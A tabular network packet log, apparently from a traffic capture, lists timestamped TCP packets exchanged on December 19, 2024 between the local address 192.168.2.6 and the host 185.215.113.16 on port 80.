Dec 19, 2024 08:46:30.698421001 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.698837042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.699042082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.699841022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.699892998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.700006962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.700056076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.700856924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.701215029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.701265097 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.701740980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.754697084 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.767340899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768090963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768107891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768119097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768170118 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.768171072 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.768856049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768913031 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768923998 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.768976927 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.769625902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.769639015 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.769701004 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.770415068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.770445108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.770510912 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.771173954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.771188021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.771198034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.771231890 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.771231890 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.771955967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.771969080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.772053957 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.772731066 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.772743940 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.772802114 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.773530960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.773542881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.773590088 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.774276972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.774290085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.774348021 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.775041103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.775055885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.775067091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.775115013 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.775809050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.775821924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.775860071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.776566982 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.776578903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.776604891 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.779186010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.779230118 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.779365063 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.779732943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.779746056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.779860973 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.780637026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.780693054 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.780886889 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.781672955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.781853914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.781902075 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.821199894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.821506023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.821655035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.824558973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.824688911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.824781895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.824806929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.824855089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.825158119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.825854063 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.825866938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.825928926 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.826786041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.826967955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.827047110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.827493906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.827825069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.827881098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.828488111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.829063892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.829119921 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.829487085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.829499960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.829586983 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.878705025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.878750086 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.878899097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.879204035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.879259109 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.879292965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.879690886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.879741907 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.880227089 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.880434990 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.880484104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.880691051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.881333113 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.881448030 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.881511927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.882340908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.882473946 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.882477045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.883291960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.883474112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.883526087 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.884422064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.884480953 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.884521961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.885251045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.885334969 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.885428905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.886250973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.886419058 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.886507034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.887270927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.887433052 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.887497902 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.888221025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.888377905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.888387918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.889168024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.889272928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.889580965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.890077114 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.890127897 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.890300035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.891045094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.891136885 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.903645039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.903887033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.903978109 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.904254913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.904315948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.904491901 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.904583931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.905263901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.905272007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.905308008 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.906209946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.906353951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.906379938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.908546925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.908634901 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.959062099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.959803104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.959815025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.959817886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.959888935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.960696936 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.960707903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.960829020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.961344957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.961363077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.961443901 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.962173939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.962183952 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.962258101 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.962979078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.962985992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.962996960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.963035107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:30.963649988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.963655949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:30.963833094 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.006638050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.006917000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.007041931 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.007142067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.007375002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.007607937 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.007662058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.008240938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.008316040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.008394003 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.008608103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.008769989 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.008850098 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.009090900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.009269953 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.009845972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.010041952 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.010096073 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.010838985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.011122942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.011185884 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.011818886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.012098074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.012180090 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.012810946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.013010979 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.013082027 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.013765097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.014157057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.014245033 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.014784098 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.015033960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.015235901 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.015743017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.016057014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.016243935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.016727924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.017009974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.017081976 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.017756939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.018212080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.018501043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.031917095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.032114029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.032234907 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.032430887 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.032509089 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.032617092 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.032872915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.033463001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.033617973 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.033899069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.034441948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.034538031 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.034619093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.035434961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.035547972 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.073926926 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.074100018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.074420929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.074455023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.074779034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.074867010 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.075403929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.075623035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.075697899 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.076365948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.076956987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.077033043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.077394962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.077402115 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.077572107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.078334093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.078648090 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.078819036 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.079348087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.079860926 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.080056906 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.080301046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.080463886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.080668926 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.140686035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.141447067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.141554117 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.143008947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.143014908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.143071890 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.144556046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.145324945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.145412922 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.146877050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.147651911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.147715092 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.149317980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.149324894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.149373055 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.152311087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.153063059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.153127909 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.154598951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.154609919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.154719114 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.156166077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.156172991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.156265020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.156924009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.156930923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.156980991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.157676935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.157691956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.157764912 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.158480883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.158487082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.158626080 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.159265995 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.159274101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.159284115 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.159333944 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.160067081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.160085917 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.160099983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.160125971 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.160165071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.160855055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.160875082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.160937071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.161611080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.161629915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.161717892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.162379980 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.162400007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.162432909 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.162442923 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.198807955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.198885918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.199090004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.199107885 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.199342012 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.199368954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.200046062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.200112104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.200145960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.200629950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.200679064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.201092005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.201622009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.201777935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.202389956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.202585936 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.202689886 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.203371048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.203603029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.203881979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.203962088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.204571009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.204655886 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.204904079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.205566883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.205657005 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.206017971 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.254654884 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.256015062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.256436110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.256534100 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.256654978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.256663084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.256762028 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:31.257457972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:31.257693052 CET	80	49764	185.215.113.16	192.168.2.6
